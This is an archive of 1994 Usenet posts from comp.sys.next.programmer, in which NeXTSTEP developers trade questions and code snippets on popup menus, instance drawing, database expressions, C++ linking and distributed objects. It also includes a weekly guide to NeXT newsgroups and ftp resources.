Newsgroups: comp.sys.next.programmer From: gerti@tms-gmbh.de (Gerd Knops) Subject: Dynamically adding file types Message-ID: <CnE2nw.1nv@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany Date: Mon, 28 Mar 1994 19:11:55 GMT Who doesn't know this scenario: There are many small tools, that you do not use often enough to waste a slot in the dock, but often enough that looking it up in the browser gets annoying. So I am writing a 'Wrapper' for that kind of programs (so far including: default editor, hex monitor, scsi monitor, play/save2snd for Toshiba 3401, some services etc.). A final problem, that I would like to see solved, before I contribute the program and the API to the net, is the following: Whenever a module lets me know it can handle a certain file type (extension), and also supplies an icon, I would like to let the workspace know that. Is there another way to do this besides having an appropriate header segment in the executable? Gerd
From: kenyon@cse.unl.edu (Paul Kenyon) Newsgroups: comp.sys.next.programmer Subject: API for Mail.app and Edit.app Date: 28 Mar 1994 21:12:30 GMT Organization: University of Nebraska--Lincoln Distribution: world Message-ID: <2n7h7u$5c@crcnis1.unl.edu> Keywords: Mail Edit API speaker/listner distributed objects I have a applet I have been trying to whip up from which I would like to change the selection on an Edit document. I have heard there is a unofficial API to Edit and Mail but have not found it in Next Answers. Does anyone know the calls or have a reference? -Paul Kenyon Hickman-Kenyon Systems, Inc. kenyon@csealumni.unl.edu
From: ramanan@patch.pnb.sunysb.edu (S. V. Ramanan) Newsgroups: comp.sys.next.programmer Subject: instance drawing on window resize Date: 28 Mar 1994 21:29:24 GMT Organization: State University of New York at Stony Brook Message-ID: <2n7i7k$bic@adam.cc.sunysb.edu> Keywords: instance draw view window Hi, Tnx in advance for any help. I do some instance drawing in a View. Since it seems that any instance drawing done inside the drawSelf:: method has no effect, i put the instance drawing code inside the View's display method, and do the instance drawing after the call to [super display] Unfortunately, this does not work if the user manually resizes the window. This results (presumably for reasons of effeciency) in only the drawSelf:: method being called, and since this method cant handle instance drawing, i am stuck. On doing a backtrace in gdb, i see that the View's _display method is invoked. Is this a method that can be overridden by a subclass, or there is a better way to do this? Excuse me if this is a topic that has been discussed before. !ramanan ramanan@patch.pnb.sunysb.edu
From: hship@sinistar (Howard Ship) Newsgroups: comp.sys.next.programmer Subject: Popup list w/ keyboard accelerators Date: 28 Mar 1994 23:17:51 GMT Organization: Stratus Computer Inc, Marlboro MA Message-ID: <2n7oj0$sb4@transfer.stratus.com> So now I'm playing around with a preferences panel with multiple views, selected using a popup list. Easy enough, you select a different entry in the popup list and the view changes perfectly. Then I added keyboard acceletors to the items in the list. The standard 1 - 2 - 3 sequence. However, when I use the keyboard accelerators to switch views, popup button does NOT change its label to match the view. What little catch did I miss this time? Also, has anyone noticed in NewsGrazer that the Format/Font menu pretty much doesn't work? To change text to bold or italic, I must use the Font Panel. -- . I want to perform cranial activities with Tuesday Weld!! Howard Ship hship@zen.cac.stratus.com [NeXT Mail OK] -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C-<9FUO9&5R;B!#;W5R:65R.UQF,%QF M<W=I<W,@2&5L=F5T:6-A.WT*7&UA<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT M>#$Q-3)<='@R,S`T7'1X,S0U-EQT>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P M-C1<='@Y,C$V7'1X,3`S-CA<='@Q,34R,%QF,UQB,%QI,%QU;&YO;F5<9G,R M-%QF8S!<8V8P(%-O(&YO=R!))VT@<&QA>6EN9R!A<F]U;F0@=VET:"!A('!R M969E<F5N8V5S('!A;F5L('=I=&@@;75L=&EP;&4@=FEE=W,L('-E;&5C=&5D M('5S:6YG(&$@<&]P=7`@;&ES="X@($5A<WD@96YO=6=H+"!Y;W4@<V5L96-T M(&$@9&EF9F5R96YT(&5N=')Y(&EN('1H92!P;W!U<"!L:7-T(&%N9"!T:&4@ M=FEE=R!C:&%N9V5S('!E<F9E8W1L>2Y<"EP*5&AE;B!)(&%D9&5D(&ME>6)O M87)D(&%C8V5L971O<G,@=&\@=&AE(&ET96US(&EN('1H92!L:7-T+B`@5&AE M('-T86YD87)D(#$@+2`R("T@,R!S97%U96YC92X@($AO=V5V97(L('=H96X@ M22!U<V4@=&AE(&ME>6)O87)D(&%C8V5L97)A=&]R<R!T;R!S=VET8V@@=FEE M=W,L('!O<'5P(&)U='1O;B!D;V5S"EQB("!.3U0*7&(P("!C:&%N9V4@:71S M(&QA8F5L('1O(&UA=&-H('1H92!V:65W+EP*7`I7:&%T(&QI='1L92!C871C M:"!D:60@22!M:7-S(`I<:2!T:&ES"EQI,"`@=&EM93]<"EP*06QS;RP@:&%S M(&%N>6]N92!N;W1I8V5D(&EN($YE=W-'<F%Z97(@=&AA="!T:&4@1F]R;6%T M+T9O;G0@;65N=2!P<F5T='D@;75C:"!D;V5S;B=T('=O<FL_("!4;R!C:&%N M9V4@=&5X="!T;R!B;VQD(&]R(&ET86QI8RP@22!M=7-T('5S92!T:&4@1F]N M="!086YE;"Y<"EP*"EQP87)D7'1X-3(P7'1X,3`V,%QT>#$V,#!<='@R,3(P M7'1X,C8V,%QT>#,R,#!<='@S-S(P7'1X-#(V,%QT>#0X,#!<='@U,S(P7&8P M7&9C,%QC9C`@+2U<"BXN("!)('=A;G0@=&\@<&5R9F]R;2!C<F%N:6%L(&%C M=&EV:71I97,@=VET:"!4=65S9&%Y(%=E;&0A(5P*(%P*2&]W87)D(%-H:7`@ M(&AS:&EP0'IE;BYC86,N<W1R871U<RYC;VT@(%M.95A4($UA:6P@3TM=7`H* "?0IS `
Newsgroups: comp.sys.next.programmer From: fleminmk@fe808.cc.purdue.edu (Mike Fleming) Subject: DO alternative on other platforms Sender: news@mozo.cc.purdue.edu (USENET News) Message-ID: <fleminmk.764905583@fe808.cc.purdue.edu> Date: Tue, 29 Mar 1994 01:46:23 GMT Organization: Purdue Data Network Keywords: distributed objects mac windows After developing a few collaborative education programs under NeXTstep, we have come to the not-so-shocking conclusion that we need to bring these apps across to the more conventional Mac and Windows platforms. Of course, we run immediately into the brick-wall that led us to use NeXTstep initially: there doesn't seem to be an alternative to distributed objects under Mac or Windows. Or is there? Basically, what we're looking for is a package that provides programs with an easy way to communicate over the network using something that vaguely resembles objects. People have mentioned that the following things may or may not provide what I'm looking for. Being as naive in Mac and Windows as I am, I have little clue what they do: o OpenDoc o OLE 2.0 o Novell AppWare So, once again: Is there an alternative for DO's under Mac and Windows and do the packages/protocols above provide any of that functionality? I'm not looking for database connectivity stuff here, guys... Mike Fleming
From: chris@stokeisland.ohi.com (Christopher J. Traynor) Newsgroups: comp.sys.next.programmer Subject: Differences in Black and White generated code Date: 28 Mar 1994 23:00:40 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9403290449.AA02117@stokeisland.ohi.com> All: Has anyone come across a situation where a build on black hardware for a white target did not generate the same code as a build on white for white? We have an application here that causes a panic (of course it had to be the worst thing in the world) if the it is compiled FAT on black and it works if compiled on white. Let me clarify be saying that the app is causing the panic on white hardware and not black. It occurrs about 40% of the time as the app is loading. I just wanted to know if we were alone in this... Cheers, Chris
From: slxn8@cc.usu.edu Newsgroups: comp.sys.next.programmer Subject: IXAdapter...who to contact? Message-ID: <1994Mar28.185144.14527@cc.usu.edu> Date: 28 Mar 94 18:51:44 MDT Organization: Utah State University Can someone direct me the devlopers of the IXAdapter software. The DBKit adapter that allows you to use flat text files in indexing kit...or somesuch. Thank you, ====================================================================== John Zollinger (NextMail Preferred) Programmer/Analyst ati06!obsidian!johnz@attati.attmail.com [Moore BCS - Logan, Utah] "Life is too important to take seriously." ======================================================================
Newsgroups: comp.sys.next.programmer From: henry@trilithon.com (Henry McGilton) Subject: printPSCode Documentation Suspect Message-ID: <1994Mar28.194645.26608@trilithon.com> Keywords: view, printPSCode, manual, bogus Sender: henry@trilithon.com Organization: Trilithon Software Date: Mon, 28 Mar 1994 19:46:45 GMT The documentation for printPSCode states: ``Prints the View and all its subviews. If the user cancels the job, or if there are any errors in generating the PostScript code, this method returns nil; otherwise it returns self.'' I determined through experiment that printPSCode also returns nil if you push the Preview button on the Print Panel. If you Save the PostScript to a file, printPSCode returns self as stated. Has anybody come up with a definitive explanation of precisely what printPSCode really returns as opposed to what the documentation says? Many Thanks, ........ Henry
Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (Gery Divry) Subject: Re: instance drawing on window resize Message-ID: <1994Mar29.084117.2429@ares.fdn.org> Sender: news@ares.fdn.org Organization: Ares - Lyon, France. References: <2n7i7k$bic@adam.cc.sunysb.edu> Date: Tue, 29 Mar 1994 08:41:17 GMT In article <2n7i7k$bic@adam.cc.sunysb.edu> ramanan@patch.pnb.sunysb.edu (S. V. Ramanan) writes: :Hi, : Tnx in advance for any help. : I do some instance drawing in a View. Since it seems :that any instance drawing done inside the drawSelf:: method :has no effect, i put the instance drawing code inside the :View's display method, and do the instance drawing after the :call to [super display] : Unfortunately, this does not work if the user manually :resizes the window. This results (presumably for reasons of :effeciency) in only the drawSelf:: method being called, and since :this method cant handle instance drawing, i am stuck. On doing :a backtrace in gdb, i see that the View's _display method is :invoked. Is this a method that can be overridden by a subclass, :or there is a better way to do this? : Excuse me if this is a topic that has been discussed before. : :!ramanan :ramanan@patch.pnb.sunysb.edu Hello I am not sure to understand your problem But instance drawing need a buffered window to refresh the background unfortunatly when you resize the window, the window need to redraw itself entierely in a new buffer ( logic, isnt'it), so at this time ( in the first redraw ) it seems difficult to do an instance drawing until the new buffer is filled. Sincerely Gery DIVRY ( ZZVolume Daddy ) ARES Publisher 8, rue Victor Lagrange Phone: (+33) 72 80 16 30 69007 LYON Fax: (+33) 72 80 16 32 France Email: gery@ares.fdn.org Earth, Solar System, Galaxy N 1 NeXT Mail accepted
From: robert@takeFive.co.at (Robert Spector) Newsgroups: comp.sys.next.programmer Subject: HELP: Workspace Finder skips *.C and *.cc files Date: 29 Mar 1994 10:04:15 GMT Organization: EUnet EDV-Dienstleistungsgesellschaft m.b.H Message-ID: <2n8uev$pi1@hp4at.eunet.co.at> Keywords: C++ file extensions, Workspace Finder Hi, it seems that contents of files with these extensions are *not* checked by the Finder (Alt-f in the WS manager and I'm using the "Find Items with Contents That Match" setting...). The WS Preferences entry for the Finder does not seem to matter. I'm on a 040 NS with NS 3.1 ... Thanks for any help! --- Robert Spector --------------------------------------------------------------------- takeFive Software Tel: +43 662 457915 Jakob-Haringer-Strasse 8 Fax: +43 662 4579156 5020 Salzburg, AUSTRIA E-mail: robert@takeFive.co.at ---------------------------------------------------------------------
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Popup list w/ keyboard accelerators Date: 29 Mar 1994 10:53:51 +0100 Organization: me organised, that's a joke. Message-ID: <2n8trf$112@steffi.demon.co.uk> References: <2n7oj0$sb4@transfer.stratus.com> hship@zen.cac.stratus.com wrote in comp.sys.next.programmer >So now I'm playing around with a preferences panel with multiple >views, selected using a popup list. Easy enough, you select a >different entry in the popup list and the view changes perfectly. > >Then I added keyboard acceletors to the items in the list. The >standard 1 - 2 - 3 sequence. However, when I use the keyboard >accelerators to switch views, popup button does NOT change its label >to match the view. > >What little catch did I miss this time? OK, coicidentally I wrote something to make life easier just yesterday. (Thanks to Art for his input) Comments welcome. Your popuplists action method is still then responsible for setting the item correctly. This is already done for you when you use the mouse but not when you use a "Keyboard Equivalent" let's leave the X terminolgy where it belongs :-) So in short you have to do something like this. // Robert Nicholson, Mon Mar 28 20:53:58 BST 1994 // Copyright, 1994. All rights reserved. #import <appkit/Button.h> @interface Button(XUpdatePopUp) - updatePopupForCell:(unsigned)row; @end // Robert Nicholson, Mon Mar 28 20:54:03 BST 1994 // Copyright, 1994. All rights reserved. #import "Button.XUpdatePopUp.h" #import <appkit/Matrix.h> #import <appkit/PopUpList.h> @implementation Button(XUpdatePopUp) - updatePopupForCell:(unsigned)row { Matrix *matrix; id target = [self target]; if (target && [target isKindOf:[PopUpList class]]) { matrix = [target itemList]; [matrix selectCellAt:row :0]; [window disableFlushWindow]; [self setTitleNoCopy:[[matrix selectedCell] title]]; [[window reenableFlushWindow] flushWindowIfNeeded]; } return self; } Now. just send a [popCoverButton updateForCell:[sender selectedTag]] in your Popuplist's action method. Cheers. -- "C++ is the best C++ there is." (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Master-Detail question. Date: 29 Mar 1994 14:46:15 +0100 Organization: me organised, that's a joke. Message-ID: <2n9bf7$31t@steffi.demon.co.uk> Supposing I have one DBTableView that contains all fields for a master table. and I wish to have a derived column that contains the number of detail records from the detail table for _any_ particular master record. Can this be done using DBExpression? ie. here's my first feeble attempt. // Create derived field. noBooks = [[DBExpression alloc] initForEntity:authors fromDescription:"select count(*) from titleauthor t0, authors t1 where t0.au_id = t1.au_id"]; [[dbmodule rootFetchGroup] addExpression:noBooks]; [tableView addColumn:noBooks withFormatter:[[DBTextFormatter alloc] init] andTitle:"No. Books" at:columnCount++]; --- Note I wish to use DBExpression so that the calculation is done on the fly. Also, I notice (correct me if I'm wrong) but DBExpression only works on expressions that can be evaluated in the server. So I couldn't say have a column which contained say the strlen(mastertablekey) .... I'm kinda new to Sybase operators but could a stored procedure be written to that if it didn't already exist? Is that right? Can you subclass DBExpression so that it will perform an abitary method in order to do the "only the fly" computation. As a last resort I guess a Custom DBFormatter could take care of this. -- "C++ is the best C++ there is." (ASCII for text only messages)
From: rgc@wam.umd.edu (Ross Garrett Cutler) Newsgroups: comp.sys.next.programmer Subject: Re: API for Mail.app and Edit.app Date: 29 Mar 1994 15:47:06 GMT Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 Distribution: world Message-ID: <2n9ihq$16v@mimsy.cs.umd.edu> References: <2n7h7u$5c@crcnis1.unl.edu> Paul Kenyon (kenyon@cse.unl.edu) wrote: : I have a applet I have been trying to whip up from which I would like : to change the selection on an Edit document. I have heard there is a : unofficial API to Edit and Mail but have not found it in Next Answers. : Does anyone know the calls or have a reference? There are standard Speaker/Listener methods to set the selection in Edit. Check out those docs. -- Ross Cutler University of Maryland, College Park Internet: rgc@cs.umd.edu
From: me@vigor.anatomy.upenn.edu (Joe Panico) Newsgroups: comp.sys.next.programmer Subject: new gcc under NSI 3.2? Date: 29 Mar 1994 16:02:20 GMT Organization: University of Pennsylvania Distribution: world Message-ID: <2n9jec$7od@netnews.upenn.edu> Has anyone ported the latest gcc compiler to NSI 3.2, and successfully used it in objective-c++ mode to compile hybrid c++ NX Toolkit Apps? Would like to hear any war stories. Thanks. Joe Panico joe@retina.anatomy.upenn.edu
Newsgroups: comp.sys.next.programmer From: allan@narwal.ali.bc.ca (Allan Noordvyk) Subject: Anyone working on a driver for Logitec ScanMan? Message-ID: <1994Mar28.191109.12395@narwal.ali.bc.ca> Organization: A.L.I. Technologies Distribution: na Date: Mon, 28 Mar 1994 19:11:09 GMT Hi all, I just got a good deal on a grayscale Logitec ScanMan for my PC and was considering writing a NeXTSTEP driver for it as a hobby project. Before I go to all of the trouble of bugging Logitec for some technical manuals (and explaining what NeXTSTEP is ;-), I thought I would ask if anyone is already doing this. If so, let me know and I will work on something else. Thanks, Allan Noordvyk allan@ali.bc.ca
From: pburka@UPEI.CA (PETER WIEBE BURKA) Newsgroups: comp.sys.next.programmer Subject: Multiple Document Syndrome Date: Tue, 29 Mar 1994 16:15:10 GMT Organization: University of Prince Edward Island, CANADA Message-ID: <pburka.43.764957710@UPEI.CA> I'm very new to NeXT programming, and I suspect I'm missing something obvious. When an application with multiple documents (i.e. the Editor with all of it's open documents) receives a message to Save from it's menu, how can it determine which is the active document? I can detrmine the active window, but can't find a way to get at the object it represents. Also, is there a FAQ for this group? How often is it posted, or where can I find it? Thanks (in advance) for your help! ---- Peter 'Beaker' Burka // The opinions expressed above are not those of U.P.E.I., Canada // U.P.E.I., and, depending on my coherency at the pburka@stu1.cs.upei.ca // time, may not be my own. "If only we were weiner dogs our problems would be all solved"
From: root@net23 (Operator) Newsgroups: comp.sys.next.programmer Subject: HELP!!! SLIP ON WHITE AT 28.8 Message-ID: <CnFrCt.LJ1@spcuna.spc.edu> Date: 29 Mar 94 17:02:52 GMT Sender: news@spcuna.spc.edu (Network News) Organization: St. Peter's College, US Hello all, I have been having much trouble getting 28.8 SLIP to work on White hardware... I have a 486/dx2 66 w/32mb ram a 28.8 Modem and a 16550 uart compatible serial card... I am using The New transys pni slip software and every time i raise the speed from 19200 to 38400, i start losing massive characters... Anyone who gives me an answer on how to fix it can have a free account mail ANY answers to razor@net23.com Thanks in advance Nick razor@net23.com
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: Security hole? In-Reply-To: izumi@pinoko.berkeley.edu's message of 25 Mar 1994 17:40:44 GMT Message-ID: <BYER.94Mar29104845@embassy.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <2muv4q$agn@lastactionhero.rs.itd.umich.edu> <2mv7ms$8ae@agate.berkeley.edu> Date: Tue, 29 Mar 1994 18:48:45 GMT Izumi Ohzawa writes: Izumi> Second, there is a switch setting in the Preferences that says Izumi> "Display EPS Security". This, I assume, further limits the execution Izumi> of EPS enclosures in something like NeXT Mail.app. I don't know Izumi> exactly what limits it imposes howerver. The RedBook describes secure contexts. The basic machanism is to provide a copy-on-write shareddict (and a "pretend" shared vm area), such that the EPS file cannot affect any objects that other contexts are using. It does *not* prevent any legitimate EPS file from running. Even ones that try to do nasty stuff (by putting a /show re-definition in shareddict, for example) will run - they just won't be able to harm anything. It costs a little in terms of context startup time, and possibly some memory if the EPS tries to do anything with shareddict. However, I highly recommend always having this switch on. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. === === Nothing is so firmly believed as what we least know.
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 28 Mar 1994 01:43:43 -0500 Organization: Next Announcements Message-ID: <2n5uav$9op@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
Newsgroups: comp.sys.next.programmer From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: Re: Popup list w/ keyboard accelerators Message-ID: <1994Mar29.162239.561@afs.com> Sender: greg@afs.com References: <2n7oj0$sb4@transfer.stratus.com> Date: Tue, 29 Mar 1994 16:22:39 GMT In article <2n7oj0$sb4@transfer.stratus.com> hship@sinistar (Howard Ship) writes: >So now I'm playing around with a preferences panel with multiple views, >selected using a popup list. Easy enough, you select a different entry >in the popup list and the view changes perfectly. >Then I added keyboard acceletors to the items in the list. The standard >1 - 2 - 3 sequence. However, when I use the keyboard accelerators to >switch views, popup button does NOT change its label to match the view. >What little catch did I miss this time? You need this little chunk of code in your PreferencePanel subclass. It gives the underlying contentView a chance to try first, then looks through the popup list. Assumes you have a handle to the popupButton covering the popupList. All other references are self-contained. Released to the net for general edification. Flames/suggestions welcome. - (BOOL)commandKey:(NXEvent *)theEvent { if ([[self contentView] performKeyEquivalent: theEvent]) return YES; else { int r,c; id menuMatrix = [[popupButton target] itemList]; [menuMatrix getNumRows:&r numCols:&c]; for (r--; r >= 0; r--) { id cell = [menuMatrix cellAt:r:0]; if ([cell keyEquivalent] == theEvent->data.key.charCode) { [popupButton setTitle:[cell title]]; [menuMatrix selectCell:cell]; [menuMatrix sendAction:[cell action] to:[cell target]]; return YES; } } return NO; } } -- Gregory H. Anderson | "Internet: a giant international network Stud Hombre Cybermuffin | of intelligent, informed computer Anderson Financial Systems | enthusiasts, by which I mean 'people greg@afs.com (NeXTmail OK) | without lives.'" -- Dave Barry, 2/6/94
From: philipp@res.enst.fr (Philippe-Andre Prindeville) Newsgroups: comp.sys.next,comp.sys.next.programmer,comp.sys.next.software,fr.comp.sys.next Subject: DriverKit mailing list Date: 29 Mar 1994 14:17:30 GMT Organization: Ecole Nationale Superieure des Telecommunications, Paris FRANCE Distribution: world Message-ID: <2n9d9q$9k1@enst.enst.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Keywords: driverkit, device drivers Hi. I thought it might be useful to create a mailing list to discuss DriverKit questions, since this is faster and easier than voting on a yet-another newsgroup. I've created a mailing list called <driverkit-talk@res.enst.fr> (note: requests for subscription should be sent to me and neither to the list nor as "listserv" style messages). The goal of the list is to provide a forum for user-developed device drivers (such as Mux1.4, the SoundBlaster driver, etc) and perhaps eventually to provide feedback to NeXT on possible improvements to their DriverKit and its associated documentation. Note: DriverKit in its entirety is currently only supported on Intel-based hardware. In the event that fragments of code belonging to NeXT or other vendors are exchanged, it might be necessary to verify that all recipients of this list are in fact legitimate owners of a driverkit license. So, if you're are driverkit owner and this interests you, please send me a note soon and I'll sign you up. -Philip
From: me@vigor.anatomy.upenn.edu (Joe Panico) Newsgroups: comp.sys.next.programmer Subject: c++ inline linkage bug in NSI 3.2? Date: 29 Mar 1994 17:18:11 GMT Organization: University of Pennsylvania Distribution: world Message-ID: <2n9nsj$dmu@netnews.upenn.edu> Hi, The following code: // file AClass.h #include<stream.h> class AClass { public: inline void amemberfunc(); }; //file aclass.cc #include"AClass.h" inline void AClass::amemberfunc() { cerr<< "in amemberfunc()\n"; } //file main.cc #include"AClass.h" main() { AClass aclass; aclass.amemberfunc(); } produces the following link error: cc -c aclass.cc cc -c main.cc cc aclass.o main.o -o symtest -lg++ ld: Undefined symbols: _amemberfunc__6AClass I get the same result with this: //file aclass.cc #include"AClass.h" void AClass::amemberfunc() { cerr<< "in amemberfunc()\n"; } But removing all inline function specifiers, or defining the member function in the body of the class declaration WORKS! What's going on here? In Stroustrup (The c++ p. l. 2nd ed., p153) he has a code fragment that is substatially the same as the one above. Any clues much appreciated. Thanks Joe Panico joe@retina.anatomy.upenn.edu
Newsgroups: comp.sys.next.programmer From: yoda@cis.uni-muenchen.de (Marc Guenther) Subject: PDO: tossing received reply msg Sender: news@informatik.uni-muenchen.de (News System) Message-ID: <CnGHDM.Kp2@informatik.uni-muenchen.de> Date: Wed, 30 Mar 1994 02:24:57 GMT Organization: Institut fuer Informatik der Universitaet Muenchen Keywords: Distributed Objects Hello, I am using Distributed objects in an multithreaded application to communicate between the threads. I sometimes get this message, and then the connection doesnt do anthing anymore. Does anyone know what this errormessage means ? And more important, how can I check if this error occured ? NotificationInvalidation doesnt send a senderIsInvalid method. thats too bad !! Please email me, as I cant read News for the next 2 weeks I will post a summary -- Marc Guenther ------------------------------------------------------------------------- Centrum fuer Informations | Wagmuellerstr. 23 | Phone: +49 89 211 0670 und Sprachverarbeitung | 80538 M"unchen | Fax: +49 89 211 0674 University of Munich | Germany | yoda@cis.uni-muenchen.de -------------------------------------------------------------------------
